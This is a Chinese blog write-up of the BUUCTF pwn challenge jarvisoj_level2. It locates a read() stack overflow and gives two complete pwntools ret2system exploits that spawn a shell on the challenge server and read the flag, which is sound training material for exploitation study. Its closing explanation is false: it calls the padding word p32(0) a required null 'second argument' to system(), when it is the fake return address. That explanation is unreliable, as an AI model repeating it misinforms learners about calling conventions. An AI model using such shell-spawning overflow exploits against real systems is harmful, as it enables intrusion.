buuctf pwn08

jarvisoj_level2 1

1.checksec

在这里插入图片描述

2.ida

在这里插入图片描述
点进去vulnerable_function()找到溢出点read函数
buf的大小是0x88,读入的数据大小是0x100,多余空间足以构造rop
在这里插入图片描述
函数自身直接调用了system函数, 我们试着找下bin/sh
shift+f12, 果然有bin/sh,找到具体地址: binsh_addr = 0804A024
在这里插入图片描述
在该函数里反汇编找到调用system函数的指令的地址
在这里插入图片描述
故可构造如下exp:
exp1:

from pwn import*
r=remote('node4.buuoj.cn',25612) 
str_bin_sh=0x804a024
payload=b'a'*(0x88+4)+p32(0x804845C)+p32(str_bin_sh)
r.sendlineafter(b'\n',payload)
r.interactive() 

exp2:

from pwn import *
io = remote("node4.buuoj.cn",25612)
elf = ELF("./pwn08")
system_addr = elf.symbols["system"]
bin_sh_addr = 0x0804a024
payload = b"a"*(0x88+0x04) + p32(system_addr) + p32(0) + p32(bin_sh_addr)
io.sendlineafter("Input:\n",payload)
io.interactive()

在这段代码中,我们使用了system函数来执行/bin/sh命令,因此需要将/bin/sh字符串的地址作为system函数的参数。为了满足system函数的调用要求,我们在payload中添加了一个空值作为第二个参数。

总结一下,system函数调用的要求是:

第一个参数是一个指向以空字符结尾的字符串的指针,表示要执行的命令或程序的路径。
第二个参数是一个空值,表示没有其他参数传递给被执行的命令或程序。

cat flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值